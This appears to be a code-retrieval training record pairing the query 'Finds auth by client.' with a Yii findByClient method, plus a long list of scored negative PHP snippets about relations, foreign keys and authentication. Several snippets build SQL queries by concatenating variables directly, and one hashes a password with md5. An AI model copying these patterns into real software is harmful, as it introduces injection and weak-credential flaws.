"public function testAutoReferenceName(): void\n {\n $table = $this->getTableLocator()->get('Articles');\n\n $table->hasMany('OtherComments', ['className' => 'Comments']);\n $table->OtherComments->addBehavior(\n 'Translate',\n ['fields' => ['comment']]\n );\n\n $items = $table->OtherComments->associations();\n $association = $items->getByProperty('comment_translation');\n $this->assertNotEmpty($association, 'Translation association not found');\n\n $found = false;\n foreach ($association->getConditions() as $key => $value) {\n if (strpos($key, 'comment_translation.model') !== false) {\n $found = true;\n $this->assertSame('Comments', $value);\n break;\n }\n }\n\n $this->assertTrue($found, '`referenceName` field condition on a Translation association was not found');\n }",
"public function afmelden()\n {\n return true;\n }",
"private function hasForeignFields()\r\n\t{\r\n\t\tforeach ($this->fields as $field)\r\n\t\t{\r\n\t\t\tif ($field instanceOf ForeignField)\r\n\t\t\t{\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn false;\r\n\t}",
"public function beforeDelete() {\n // Check foreign table treatment_schedules\n $treatmentSchedules = TreatmentSchedules::model()->findByAttributes(array('doctor_id' => $this->id));\n if (count($treatmentSchedules) > 0) {\n return false;\n }\n // Handle Agent relation\n OneMany::deleteAllManyOldRecords($this->id, OneMany::TYPE_AGENT_USER);\n // Handle Social network relation\n SocialNetworks::deleteAllOldRecord($this->id, SocialNetworks::TYPE_USER);\n\n return parent::beforeDelete();\n }",
"function checkReference() {\n\t\t$arrRecord = BackendUtility::getRecord($this->arrWizardParameters['table'], $this->arrWizardParameters['uid']);\n\t\tif (!is_array($arrRecord))\t{\n\t\t\tBackendUtility::typo3PrintError('Wizard Error', 'No reference to record', 0);\n\t\t\texit;\n\t\t}\n }",
"public function setRelations() {}",
"public function willGenerateSet(): bool;",
"public function hasProof(){\n return $this->_has(1);\n }",
"static function user_already_has_a_relationship_with($user1, $user2) {\n global $con;\n\n $sql = \"SELECT COUNT(`id`) AS 'count' FROM `relationship` WHERE `user1` = \".$user1.\" AND `user2` = \".$user2.\";\";\n $query = mysqli_query($con, $sql);\n if (mysqli_fetch_object($query)->count == 0) {\n return false;\n }\n return true;\n }",
"static function reset_foreignKeyChecks() {\r\n global $db;\r\n \r\n $query = \"SET FOREIGN_KEY_CHECKS=1\";\r\n\r\n $statement = $db->prepare($query);\r\n \r\n if ($statement == FALSE) {\r\n display_db_error($db->error);\r\n }\r\n \r\n $success = $statement->execute();\r\n\r\n if ($success) {\r\n $statement->close();\r\n } else {\r\n display_db_error($db->error);\r\n }\r\n }",
"public function isNeedAppearancesSet() {}",
"public function isForeignKey()\n {\n return (count($this->getForeignKeys()) > 0);\n }",
"public function isNeedAppearancesSet() {}",
"public static function foreignChecks($bool = true)\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=' . (int)(!!$bool));\n }",
"public function hasAutoUpdate()\n {\n return $this->auto_update !== null;\n }",
"protected function relationFieldUpdateExit(){\n return true;\n }",
"function check_requirements()\n\t{\n\t\t$sql_obj\t\t= New sql_query;\n\t\t$sql_obj->string\t= \"SELECT id FROM account_ap WHERE id='\". $this->id .\"' LIMIT 1\";\n\t\t$sql_obj->execute();\n\n\t\tif (!$sql_obj->num_rows())\n\t\t{\n\t\t\tlog_write(\"error\", \"page_output\", \"The requested invoice (\". $this->id .\") does not exist - possibly the invoice has been deleted.\");\n\t\t\treturn 0;\n\t\t}\n\n\t\tunset($sql_obj);\n\n\n\t\treturn 1;\n\t}",
"public function isRelatedToNewsletter(): bool\n {\n return false;\n }",
"public function beforeDelete(){\r\n //Ok he has the right to do that - remove all the ACL-objects associated with this object\r\n $class = Strategy::getClass('Aro');\r\n $aro = $class::model()->find('model = :model AND foreign_key = :key', array(':model' => get_class( $this), ':key' => $this->getPrimaryKey()));\r\n \r\n if(!$aro)\r\n throw new RuntimeException('No associated Aro-Collection!');\r\n \r\n $transaction = Yii::app()->db->beginTransaction();\r\n try{\r\n $suc =$aro->delete()&& parent::beforeDelete();\r\n $transaction->commit();\r\n return $suc;\r\n }\r\n catch(Exception $e){\r\n $transaction->rollback();\r\n throw $e;\r\n }\r\n }",
"protected function beforeDelete()\n {\n $this->idInitializationCheck(true);\n return true;\n }",
"public function isSetAssociatedOn()\n {\n return !is_null($this->_fields['AssociatedOn']['FieldValue']);\n }",
"public function hasAutoLabel();",
"public function hasComplete(){\n return $this->_has(2);\n }",
"public function testFlagRetrieval()\n {\n /*$narratives = Narrative::all();\n\n $this->assertNotEmpty($narratives);*/\n\n }",
"protected function _init()\n {\n return $this->_entity->getTypeStr() == 'order';\n }",
"public function canPopulateRelationTest()\n {\n $relationTest = new Relation(['test' => 'super']);\n\n $this->assertArrayHasKey('test', $relationTest->getData());\n }",
"public function testIsLoaded()\n {\n $this->fixtures('users', 'articles');\n $user = User::find($this->users('derek')->id);\n\n $this->assertFalse($user->reflectOnAssociation('Articles')->isLoaded());\n $user->articles;\n $this->assertTrue($user->reflectOnAssociation('Articles')->isLoaded());\n }",
"private function COIRequiresApproval()\r\n {\r\n global $db;\r\n\r\n // if there is more than one COI form in the db then approvals are required\r\n $sql = \"SELECT * FROM `forms_coi`\r\n WHERE `form_tracking_id` = \" . $this->trackingFormId . \"\r\n and `coi_none` = '0'\";\r\n $result = $db->getAll($sql);\r\n\r\n if (count($result) <= 0) {\r\n return false;\r\n }\r\n\r\n return true;\r\n }",
"public function hasRelation($model, $foreignKey, $localKey);",
"public function isForeignKey()\n {\n\treturn false;\n }",
"public function checkFirestarter() {\n\t\t$sql = \"SELECT `uid` FROM `objects` WHERE `parent`=\".$this->bodyId.\" AND `presetFK`=211\";\n\t\t$result = $this->mysqli->query($sql);\n\t\tif (mysqli_num_rows($result)) return 1;\n\t\telse return 0;\n\t}",
"function cleanOrphan()\n {\n\t parent::cleanOrphan($this->db->prefix(\"xf_forums\"), \"forum_id\");\n\t parent::cleanOrphan($this->db->prefix(\"xf_posts\"), \"topic_id\");\n\t \n\t return true;\n }",
"function checkTablesIntegrity() {\n \n $sm = $this->db->getSchemaManager();\n\n $tables = $this->getTables();\n \n // Check the users table..\n if (!isset($tables[$this->prefix.\"users\"])) {\n return false; \n }\n \n \n \n // Check the taxonomy table..\n if (!isset($tables[$this->prefix.\"taxonomy\"])) {\n return false; \n }\n \n // Now, iterate over the contenttypes, and create the tables if they don't exist.\n foreach ($this->config['contenttypes'] as $key => $contenttype) {\n\n $tablename = $this->prefix . makeSlug($key);\n \n if (!isset($tables[$tablename])) {\n return false; \n }\n \n // Check if all the fields are present in the DB..\n foreach($contenttype['fields'] as $field => $values) {\n if (!isset($tables[$tablename][$field])) {\n return false;\n }\n }\n \n }\n\n \n return true; \n \n }",
"public function isMandatory_correct() {\n\t\t$this->getMandatory_correct();\n\t}",
"public function hasRelationMany($fieldName) {\n\t\t$configuration = $this->getConfiguration($fieldName);\n\t\treturn $this->hasRelation($fieldName) && $configuration['maxitems'] > 1;\n\t}",
"public function test_1_3()\n {\n $out = SetupTestData::hasmany_save_1();\n\n // get all items to avoid losing them when the clean() is executed over the collection\n $addresses = $out['person']->get_addresses()->all();\n\n $out['person']->clean_addresses();\n\n $out['person']->save();\n\n\n // tests\n $this->assert($out['person']->size_addresses() === 0, 'Has many has 0 objects');\n\n foreach ($addresses as $i => $address)\n {\n $this->assert($address->person_addresses_back === NULL, \"Backlink of item $i object is NULL\");\n }\n }",
"protected function setNoticesExist() {}",
"public function buildRelations()\n {\n }",
"public function buildRelations()\n {\n }",
"public function buildRelations()\n {\n }",
"public function buildRelations()\n {\n }",
"public function buildRelations()\n {\n }"
] | [
"0.70209676",
"0.6753794",
"0.6738057",
"0.6451704",
"0.6427658",
"0.63007003",
"0.62343335",
"0.62318105",
"0.6175667",
"0.6173566",
"0.61181897",
"0.60497975",
"0.6047217",
"0.594513",
"0.58936644",
"0.58776647",
"0.586996",
"0.58524245",
"0.58279735",
"0.5819346",
"0.5814511",
"0.58097816",
"0.5803914",
"0.580376",
"0.5799945",
"0.5785687",
"0.57763654",
"0.5759933",
"0.57358897",
"0.5732381",
"0.5731981",
"0.5685506",
"0.5637885",
"0.56302875",
"0.562106",
"0.55820477",
"0.5578791",
"0.55767107",
"0.55676216",
"0.5558041",
"0.55462617",
"0.5529301",
"0.5526333",
"0.55164987",
"0.55099976",
"0.5508968",
"0.5498097",
"0.5497603",
"0.5492694",
"0.5489367",
"0.5489176",
"0.5482061",
"0.54773396",
"0.5475979",
"0.5462524",
"0.54303277",
"0.5429544",
"0.54275185",
"0.54110354",
"0.5409839",
"0.54041237",
"0.54039025",
"0.54019827",
"0.53935564",
"0.5391869",
"0.5391851",
"0.5390497",
"0.5389621",
"0.5388167",
"0.5385751",
"0.53852695",
"0.5382696",
"0.53771126",
"0.53736037",
"0.53698593",
"0.5366194",
"0.5345911",
"0.53439766",
"0.5318391",
"0.53170407",
"0.53045595",
"0.5300534",
"0.5295414",
"0.52945197",
"0.52924776",
"0.5289802",
"0.5283259",
"0.5279104",
"0.5274951",
"0.52694327",
"0.525607",
"0.52472305",
"0.52367866",
"0.5228807",
"0.5226933",
"0.5225995",
"0.5222059",
"0.5222059",
"0.5222059",
"0.5222059",
"0.5222059"
] | 0.0 | -1 |
Finds auth by client. | public static function findByClient(ClientInterface $client)
{
return static::find()->where([
'provider' => $client->getId(),
'provider_id' => $client->getUserAttributes()['id']
])->one();
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function findClient($client);",
"protected function authenticate()\n\t{\n\t\treturn $this->client;\n\t}",
"public function getAuth($params)\n\t{\n\t\treturn $this->auth->where($params)->first();\n\t}",
"public function getAuth();",
"public function getAuth();",
"public function getPasswordGrantClient()\n {\n return $this->clients->where('password_client', true)->first();\n }",
"public function getAuthManager();",
"public static function mauth_find_by_id($id);",
"public function getClient(){ return UserData::getById($this->client_id); }",
"public function find_client($event_id, $client_id);",
"protected function authenticated() {\n $user = \\Auth::user();\n\n $query = DB::table('client_users_rel as cur')\n ->select('c.client_key')\n ->join('clients as c', 'c.id', '=', 'cur.client_id')\n ->where('cur.user_id', '=', $user->id)\n ->first();\n\n if (!isset($query->client_key))\n return false;\n\n DBConnection::setSessionDBparams($query->client_key);\n DBConnection::setDBconnection();\n\n return $this->authUserInClientDB();\n }",
"function getClientLoginHttpClient($user, $pass)\n{\n $service = Zend_Gdata_Docs::AUTH_SERVICE_NAME;\n $client = Zend_Gdata_ClientLogin::getHttpClient($user, $pass, $service);\n return $client;\n}",
"private function retrieveClientFromHeader(Oauth_Model_Request $request) {\n $authorization = $request->getAuthorization();\n $client_auth = base64_decode(substr($authorization, 6));\n $client_auth = explode(\":\", $client_auth);\n $client_id = $client_auth[0];\n return $this->_helper->ModelLoader->loadClient($client_id);\n }",
"public function check_auth_client($client_service, $auth_key) {\n\n\n if ($client_service == $this->client_service && $auth_key == $this->auth_key) {\n return true;\n } else {\n return json_output(401, array('status' => 401, 'message' => 'auth_client not match '));\n }\n }",
"public function getAuth() {\r\n\t\treturn $this->_autenticacao->getIdentity();\r\n\t}",
"public function getAuth()\n {\n return $this->get('core.auth');\n }",
"public function getCliente();",
"function get_clients_for_user($uid) {\r\n if ($clients = Clients::getClientsByUid($uid))\r\n return $clients;\r\n return false;\r\n}",
"protected function client()\n\t{\n\t\treturn Passport::client();\n\t}",
"public function authForUser( $user ){ return $user->authForDB( $this ); }",
"protected function getClient($client = 'administrator')\n\t{\n\t\t$this->client = ApplicationHelper::getClientInfo($client, true);\n\n\t\treturn $this->client;\n\t}",
"public function getAuth() {\n\t\treturn $this->auth;\n\t}",
"public function onAuthSuccess($client)\n {\n $attributes = $client->getUserAttributes();\n\n // Check if Google authentication registered.\n /** @var Auth $auth */\n $auth = Auth::find()->where([\n 'source' => $client->getId(),\n 'source_id' => $attributes['id'],\n ])->one();\n\n if (Yii::$app->user->isGuest) { // If not logged in\n $user = NULL;\n if ($auth) { // If Google account registered, then login corresponding user.\n $user = $auth->user;\n } else { // Register Auth for an existing user.\n $email = $this->getGoogleUserEmail($attributes);\n $user = User::findByUsername($email);\n if (!$user) {\n $this->setFlashError(\"User $email is not allowed to login\");\n } else {\n if (!$this->createAuth($user->id, $client)) {\n $user = NULL; // Not login user.\n $this->setFlashError('Error creating Auth');\n }\n }\n }\n // Login user if success.\n if ($user) {\n Yii::$app->user->login($user);\n }\n } else { // user already logged in\n// if (!$auth) { // add auth provider if not registered.\n// $this->createAuth(Yii::$app->user->id, $client);\n// }\n }\n }",
"protected function getAccessTokenClient()\n {\n $grantType = \"client_credentials\";\n return $this->getAccessToken($grantType);\n }",
"protected function createAuthenticatedClient()\n {\n $client = static::createClient();\n\n $client->request(\n 'POST',\n '/api/login_check',\n array(\n '_username' => 'myphone',\n '_password' => 'phono'\n )\n );\n\n $data = json_decode($client->getResponse()->getContent(), true);\n\n $client = static::createClient();\n $client->setServerParameter('HTTP_Authorization', sprintf('Bearer %s', $data['token']));\n\n return $client;\n }",
"public function auth(){ return $this->authForUser( User::$cUser ); }",
"public function clientList()\n\t{\n\t\treturn $this->client()->latest()\n\t\t\t->where('password_client', true)\n\t\t\t->where('revoked', false)->get()\n\t\t\t->makeVisible('secret');\n\t}",
"protected function retrieveByCredentials(mixed $payload): ?Authenticatable\n {\n $username = config('passport.broker.client_username', 'email');\n\n return $this->provider->retrieveByCredentials([$username => $payload[$username]]);\n }",
"function getAuth() {\n parent::getAuth(); // load company!\n $au = $this->getAuthUser();\n if (!$au) {\n $this->jerr(\"Not authenticated\", array('authFailure' => true));\n }\n if ($au->company()->comptype != 'OWNER') {\n $this->jerr(\"Permission Denied\" );\n }\n $this->authUser = $au;\n return true;\n }",
"public function login()\n {\n if ($this->auth === null) {\n throw new ClientException('Auth not set. Call setAuthProvider on the client first');\n }\n\n if ($this->location === null) {\n throw new ClientException('Location not set. Call setLocation on the client first');\n }\n\n $accessToken = $this->auth->getAccessToken();\n\n\n var_dump($accessToken);\n }",
"function getClientById($clientId)\n{\n $db = phpmotorsConnect();\n $sql = 'SELECT clientId, clientFirstname, clientLastname, clientEmail, clientLevel, clientPassword FROM clients WHERE clientId = :clientId';\n $stmt = $db->prepare($sql);\n $stmt->bindValue(':clientId', $clientId, PDO::PARAM_INT);\n $stmt->execute();\n $clientData = $stmt->fetch(PDO::FETCH_ASSOC);\n $stmt->closeCursor();\n return $clientData;\n}",
"public function findByClient($user)\n {\n $userService = app(UserService::class);\n $user = $userService->find($user);\n\n return $this->model->whereHas('users', function ($query) use ($user) {\n $query->where('users.id', $user->id);\n })->get();\n }",
"private function auth(AuthClientInterface $client, ServerRequestInterface $request): ResponseInterface\n {\n if ($client instanceof OAuth2) {\n return $this->authOAuth2($client, $request);\n }\n\n if ($client instanceof OAuth1) {\n return $this->authOAuth1($client, $request);\n }\n\n if ($client instanceof OpenId) {\n return $this->authOpenId($client, $request);\n }\n\n throw new NotSupportedException('Provider \"' . get_class($client) . '\" is not supported.');\n }",
"protected function getAuthService()\n {\n return $this->services['auth'] = new \\phpbb\\auth\\auth();\n }",
"protected function getClient( $clientId ) {\n\t\t\t$data = [\n\t\t\t\t\"client_id\" => $clientId\n\t\t\t];\n\t\t\t$this->_connection->setTable(\"client\");\n\t\t\treturn $this->_connection->findFirst($data);\n\t\t}",
"private function clientLogin() {\r\n $apikey = $this->input->server('PHP_AUTH_USER');\r\n $apisecret = $this->input->server('PHP_AUTH_PW');\r\n\r\n if (strlen(trim($apikey)) < 2 || strlen(trim($apisecret)) < 2) {\r\n throw new Exception('', 401000);\r\n }\r\n return $this->apiv1_core->clientLogin($apikey, $apisecret);\r\n }",
"public function oAuthSuccess($client){\n $userAttributes = $client->getUserAttributes();\n $authclient = $this->request()->get('authclient');\n if($authclient && $authclient == 'facebook'){\n return Users::workingWithFB($userAttributes);\n }\n if($authclient && $authclient == 'twitter'){\n return Users::workingWithTW($userAttributes);\n }\n }",
"public function findCurrentUser()\n {\n return $this->apiClient->findCurrentUser();\n }",
"private function get_client() {\n\t\treturn $this->client;\n\t}",
"private function get_client() {\n\t\treturn $this->client;\n\t}",
"private function get_client() {\n\t\treturn $this->client;\n\t}",
"public function getAccessTokenFromClientCredentials(): AccessToken;",
"protected function auth($client, $authUrlParams = [])\n {\n if ($client instanceof OAuth2) {\n return $this->authOAuth2($client, $authUrlParams);\n } elseif ($client instanceof OAuth1) {\n return $this->authOAuth1($client, $authUrlParams);\n } elseif ($client instanceof OpenId) {\n return $this->authOpenId($client);\n }\n\n throw new NotSupportedException('Provider \"' . get_class($client) . '\" is not supported.');\n }",
"public function getAuthFromAccount($account){\n $table = \"access\";\n $fields[] = \"auth\";\n $where[\"account\"] = $account;\n $data = Database_Mysql::select($table,$fields,$where);\n if($data)\n return $data[0][\"auth\"];\n else\n return false;\n }",
"public function findClient($client_id){\r\n \t$this->db->select('*');\r\n \t$this->db->from('vclient');\r\n \t$this->db->where('vclient_id',$client_id);\r\n \t$query = $this->db->get();\r\n \tif (isset($query)) {\r\n \t\treturn $query;\r\n \t\t# code...\r\n \t}\r\n \telse{\r\n \t\treturn $error=\"no client found please search\";\r\n \t}\r\n }",
"public static function getAuthorizedClients( int $userId )\n {\n # Get OAuth clients with allowed Auth Codes for this user\n $oauthAuthCodes = DB::table('oauth_auth_codes')\n ->leftJoin('oauth_clients', 'oauth_auth_codes.client_id', '=', 'oauth_clients.id')\n ->where('oauth_auth_codes.user_id' , $userId)\n ->where('oauth_auth_codes.revoked' , false)\n ->where('oauth_clients.revoked' , false)\n ->select('oauth_clients.id', 'oauth_clients.name')\n ->groupBy('oauth_clients.id')\n ->orderBy('oauth_clients.name')\n ->get();\n\n # Get OAuth clients with allowed Access Tokens for this user\n $oauthAccessTokens = DB::table('oauth_access_tokens')\n ->leftJoin('oauth_clients', 'oauth_access_tokens.client_id', '=', 'oauth_clients.id')\n ->where('oauth_access_tokens.user_id' , $userId)\n ->where('oauth_access_tokens.revoked' , false)\n ->where('oauth_clients.revoked' , false)\n ->select('oauth_clients.id', 'oauth_clients.name')\n ->groupBy('oauth_clients.id')\n ->orderBy('oauth_clients.name')\n ->get();\n \n # Get OAuth clients with allowed Refresh Tokens for this user\n $oauthRefreshTokens = DB::table('oauth_access_tokens')\n ->leftJoin('oauth_refresh_tokens', 'oauth_refresh_tokens.access_token_id', '=', 'oauth_access_tokens.id')\n ->leftJoin('oauth_clients', 'oauth_access_tokens.client_id', '=', 'oauth_clients.id')\n ->where('oauth_access_tokens.user_id' , $userId)\n ->where('oauth_refresh_tokens.revoked' , false)\n ->select('oauth_clients.id', 'oauth_clients.name')\n ->groupBy('oauth_clients.id')\n ->orderBy('oauth_clients.name')\n ->get();\n\n # Calculate intersection between them to return just 1 array filtered\n $clients = collect([]);\n $clients = $clients->merge($oauthAuthCodes);\n $clients = $clients->merge($oauthAccessTokens);\n $clients = $clients->merge($oauthRefreshTokens);\n $clients = $clients->unique();\n\n return $clients;\n }",
"public function getClient()\n\t{\n\t\tif (!isset($this->_r_client)) {\n\t\t\t$filters = [];\n\t\t\tif(!is_null($v = $this->getUserId())){\n\t\t\t\t$filters['user_id'] = $v;\n\t\t\t}\n\t\t\tif (empty($filters)){\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\t$m = new OZUsersControllerRealR();\n\t\t\t$this->_r_client = $m->getItem($filters);\n\t\t}\n\n\t\treturn $this->_r_client;\n\t}",
"public static function getClient($clientId) {\n $row = fetch(\n \"SELECT client_id, user_group_id, uid, last_name, first_name, sex, birth, img, date_created, active, cdata1, cdata2, cdata3, cdata4, cdata5, cdata6, cdata7, middle_name, notes, phone1, active, deceased\" .\n \" FROM clients c LEFT JOIN addresses a ON a.table_code='C' AND a.table_id=$clientId AND a.type=0\" .\n \" WHERE c.client_id = \". $clientId);\n $client = SchedDao::buildClient($row);\n if ($client != null) {\n LoginDao::authenticateUserGroupId($client->userGroupId);\n $client->phone1 = $row['phone1'];\n }\n return $client;\n }",
"public function client()\n {\n return $this->hasOne(Client::class);\n }",
"protected function findClient($userId, $room){\n //no room created\n if(!isset ($this->clients[$room])){\n return false;\n }\n foreach ($this->clients[$room] as $client) {\n if ($client['desc']['data']['userData']['id'] == $userId) {\n return $client;\n }\n }\n }",
"public function firstParty() {\r\n return $this->personal_access_client || $this->password_client;\r\n }",
"function loginClient($emailaddress, $password){\n global $conn;\n $password = crypt($password, '$2a$10$ThisIsABlowfishSaltVlu$');\n $sql = 'SELECT client.client_id, client_first, client_last, auth_email, auth_rights \n FROM client \n INNER JOIN authentication \n ON client.client_id = authentication.client_id \n WHERE auth_email = ? AND auth_password = ?';\n if($stmt = $conn->prepare($sql)){\n $stmt->bind_param('ss', $emailaddress, $password);\n $stmt->bind_result($clientid, $clientfirst, $clientlast, $clientemail, $clientrights);\n $stmt->execute();\n $stmt->fetch();\n $clientlogin = array($clientid, $clientfirst, $clientlast, $clientemail, $clientrights);\n $stmt->close();\n }\n \n // Check result and inform the controller\n if(!empty($clientlogin) && $clientlogin[0] > 0){\n return $clientlogin;\n } else {\n return 0;\n }\n}",
"public function authClientUser(){\n\n\t\t$token = Input::get('token');\n\t\t$tokenExists = TokenModel::where('token = ?', $token)\n\t\t\t\t\t\t\t\t\t->all();\n\t\t//invalid token used/no access token provided\n\t\tif (!$tokenExists->num_rows()) {\t\t \n\t\t\theader('HTTP/1.0 403 Forbidden');\n\t\t\tdie('Login required!1');\n\t\t}\n\t\t//check for expired token\n\t\telseif ($tokenExists->result_array()[0]['logout'] === true) {\n\t\t\theader('HTTP/1.0 403 Forbidden');\n\t\t\tdie('Login required!2');\n\t\t}\n\t\t//unathorized user access to admin controller\n\t\telseif ($tokenExists->result_array()[0]['user_role'] != 3 AND $tokenExists->result_array()[0]['user_role'] != 4) {\n\t\t\theader('HTTP/1.0 401 Unauthorized'); \n\t\t\tdie('Restricted access!');\n\t\t}\n\t\telse {\n\t\t\t//check for expired timestamp\n\t\t\t$token = $tokenExists->result_array()[0];\n\t\t\t$timestamp = strtotime($token['date_modified'] OR $token['date_created']);\n\n\t\t\tif (($timestamp + $token['duration']) > time()) {\n\t\t\t\theader('HTTP/1.0 403 Forbidden');\n\t\t\t\tdie('Login required!3');\n\t\t\t}\n\n\t\t\t//extend token lifespan\n\t\t\tTokenModel::where('id = ?', $token['id'])\n\t\t\t\t\t\t->save(array(\n\t\t\t\t\t\t\t'duration' => 3600\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\n\t\t\t//set the value of the client id\n\t\t\t$this->client_id = $token['client_id'];\n\n\t\t}\n\n\t}",
"public function entity_auth()\n {\n return Auth::instance();\n }",
"function authGet() { }",
"protected function authOpenId($client)\n {\n $request = Yii::$app->getRequest();\n $mode = $request->get('openid_mode', $request->post('openid_mode'));\n\n if (empty($mode)) {\n $url = $client->buildAuthUrl();\n return Yii::$app->getResponse()->redirect($url);\n }\n\n switch ($mode) {\n case 'id_res':\n if ($client->validate()) {\n return $this->authSuccess($client);\n }\n throw new HttpException(400, 'Unable to complete the authentication because the required data was not received.');\n case 'cancel':\n return $this->authCancel($client);\n default:\n throw new HttpException(400);\n }\n }",
"private function getAccessTokenByClient( $clientId ) {\n\t\t\t$data = [\n\t\t\t\t\"client_id\" => $clientId\n\t\t\t];\n\t\t\t$this->_connection->setTable(\"token\");\n\t\t\t$token = $this->_connection->findFirst($data);\n\t\t\treturn $token !== FALSE ? $token : NULL;\n\t\t}",
"public function userAuthByAuthID($id=NULL) {\n\t\t$authManager = new UserAuthManager();\n\t\treturn $this->userauth($authManager->getUserIDFromAuthID($id));\n\t}",
"protected function guard()\n {\n return Auth::guard('client');\n }",
"public function readClient($id) {\r\n //get authorisation from headers\r\n $headers = getallheaders();\r\n $auth = $headers[\"Authorization\"];\r\n\r\n //check authorization\r\n $role = $this->authenticate($auth);\r\n if ($role !== 'trader') {\r\n throw new RestException(401, \"Unauthorized\");\r\n }\r\n\r\n //get client\r\n $client = Client::find_by_id($id);\r\n if ($client) {\r\n return $client;\r\n } else {\r\n throw new RestException(400, \"client not found\");\r\n }\r\n }",
"function findAuthSpaceBy(array $criteria);",
"public function validateClient($data)\n {\n $param = array(\n 'clientId' => $data->clientId,\n 'clientSecret' => $data->clientSecret,\n 'redirectUri' => $data->redirectUri,\n );\n try {\n $client = $this->em->getRepository('Entity\\\\OauthClient')\n ->findOneBy($param);\n return $client;\n } catch (\\Exception $ex) {\n throw new \\Exception($ex->getMessage());\n }\n }",
"abstract public function getAuthenticator();",
"public function getAccountFromAuth($auth){\n $table = \"access\";\n $fields[] = \"account\";\n $where[\"auth\"] = $auth;\n $data = Database_Mysql::select($table,$fields,$where);\n if($data)\n return $data[0][\"account\"];\n else\n return false;\n }",
"public function getAuthenticatedClientForUser(User $user)\n {\n $client = $this->createClient();\n $client->addCache($this->cachePool);\n\n // try to authenticate as user with its access token\n if (null !== $user && $user->isConnectedToOAuthService('github')) {\n $oauthAccessToken = $user->getGithubOAuthAccessToken();\n $client->authenticate(\n $oauthAccessToken,\n null,\n Client::AUTH_URL_TOKEN\n );\n\n return $client;\n }\n\n return null;\n }",
"public function getAuth()\n {\n $db = new db(self::db_auth);\n return unserialize($db->getAuth());\n\n }",
"abstract protected function login(TcpClient $client);",
"protected function authenticate(Google_Client $client) {\n try {\n // Try loading the credentials.\n $credentials = Google\\Auth\\ApplicationDefaultCredentials::getCredentials(\n Google_Service_ShoppingContent::CONTENT);\n // If we got here, the credentials are there, so tell the client.\n $client->useApplicationDefaultCredentials();\n print \"Using Google Application Default Credentials.\\n\";\n } catch (DomainException $exception) {\n // Safe to ignore this error, since we'll fall back on other creds.\n $this->authenticateFromConfig($client);\n }\n }",
"public function readClients() {\r\n //get authorisation from headers\r\n $headers = getallheaders();\r\n $auth = $headers[\"Authorization\"];\r\n\r\n //check authorization\r\n $role = $this->authenticate($auth);\r\n if ($role !== 'trader') {\r\n throw new RestException(401, \"Unauthorized\");\r\n }\r\n $traderId = $this->getTraderID($auth);\r\n $sql = \"SELECT * FROM client WHERE traderid = '{$traderId}'\";\r\n $clients = Client::find_by_sql($sql);\r\n if ($clients) {\r\n return $clients;\r\n } else {\r\n throw new RestEception(400, \"no clients found\");\r\n }\r\n }",
"public function onAuthSuccess($client)\n {\n (new AuthHandler($client))->handle();\n }",
"private function createAuth($userId, $client)\n {\n $auth = new Auth([\n 'user_id' => $userId,\n 'source' => $client->getId(),\n 'source_id' => $client->getUserAttributes()['id'],\n ]);\n return $auth->save();\n }",
"private function _getAuthService()\n {\n if(!isset($this->authservice)) {\n $this->authservice = \\Application\\Util\\ServicesUtil::getAuthService($this->getServiceLocator());\n }\n return $this->authservice;\n }",
"function getOauth2Client() {\n\ttry {\n\t\t\n\t\t$client = buildClient();\n \n\t\t// Set the refresh token on the client.\t\n\t\tif (isset($_SESSION['refresh_token']) && $_SESSION['refresh_token']) {\n\t\t\t$client->refreshToken($_SESSION['refresh_token']);\n\t\t}\n\t\t\n\t\t// If the user has already authorized this app then get an access token\n\t\t// else redirect to ask the user to authorize access to Google Analytics.\n\t\tif (isset($_SESSION['access_token']) && $_SESSION['access_token']) {\n\t\t\t\n\t\t\t// Set the access token on the client.\n\t\t\t$client->setAccessToken($_SESSION['access_token']);\t\t\t\t\t\n\t\t\t\n\t\t\t// Refresh the access token if it's expired.\n\t\t\tif ($client->isAccessTokenExpired()) {\t\t\t\t\n\t\t\t\t$client->fetchAccessTokenWithRefreshToken($client->getRefreshToken());\n\t\t\t\t$client->setAccessToken($client->getAccessToken());\t\n\t\t\t\t$_SESSION['access_token'] = $client->getAccessToken();\t\t\t\t\n\t\t\t}\t\t\t\n\t\t\treturn $client;\t\n\t\t} else {\n\t\t\t// We do not have access request access.\n\t\t\theader('Location: ' . filter_var( $client->getRedirectUri(), FILTER_SANITIZE_URL));\n\t\t}\n\t} catch (Exception $e) {\n\t\tprint \"An error occurred: \" . $e->getMessage();\n\t}\n}",
"function authenticate() {}",
"protected function getClients(){\n $clients = array();\n\n $user = User::getInstance();\n\n $uid = $user->getId();\n $mac = $user->getMac();\n\n if ($mac){\n RESTClient::$from = $mac;\n }elseif ($uid){\n RESTClient::$from = $uid;\n }else{\n RESTClient::$from = $this->stb->mac;\n }\n\n RESTClient::setAccessToken($this->createAccessToken());\n\n foreach ($this->storages as $name => $storage){\n $clients[$name] = new RESTClient('http://'.$storage['storage_ip'].'/stalker_portal/storage/rest.php?q=');\n }\n return $clients;\n }",
"private function get_auth() {\n\n\t\t$options = array ('trace' => true, 'style' => SOAP_RPC, 'use' => SOAP_ENCODED);\n\n\t\t$params = array();\n\t\t$params [\"credential\"][\"Type\"] = $this->type;\n\t\t$params [\"credential\"][\"Username\"] = $this->username;\n\t\t$encodedPassword = md5(mb_convert_encoding($this->password, 'utf-16le', 'utf-8'));\n\t\t$params [\"credential\"][\"Password\"] = $this->password;\n\t\t$params [\"credential\"][\"ApplicationId\"] = $this->api_key;\n\n\t\t$params [\"credential\"][\"IdentityId\"] = $this->identity;\n\n\t\t//$authentication = new SoapClient ( \"https://webservices.24sevenoffice.com/authenticate/authenticate.asmx?wsdl\", $options );\n\t\t$authentication = new SoapClient ( \"https://api.24sevenoffice.com/authenticate/v001/authenticate.asmx?wsdl\", $options );\n\n\t\t$login = true;\n\n\t\tif (!empty($_SESSION['ASP.NET_SessionId']))\n\t\t{\n\t\t \n\t\t $authentication->__setCookie(\"ASP.NET_SessionId\", $_SESSION['ASP.NET_SessionId']);\n\t\t try\n\t\t {\n\t\t $login = !($authentication->HasSession()->HasSessionResult);\n\t\t }\n\t\t catch ( SoapFault $fault ) \n\t\t {\n\t\t $login = true;\n\t\t }\n\n\t\t}\n\n\t\tif( $login )\n\t\t{\n\t\t\t\n\t\t $result = ($temp = $authentication->Login($params));\n\t\t // set the session id for next time we call this page\n\t\t 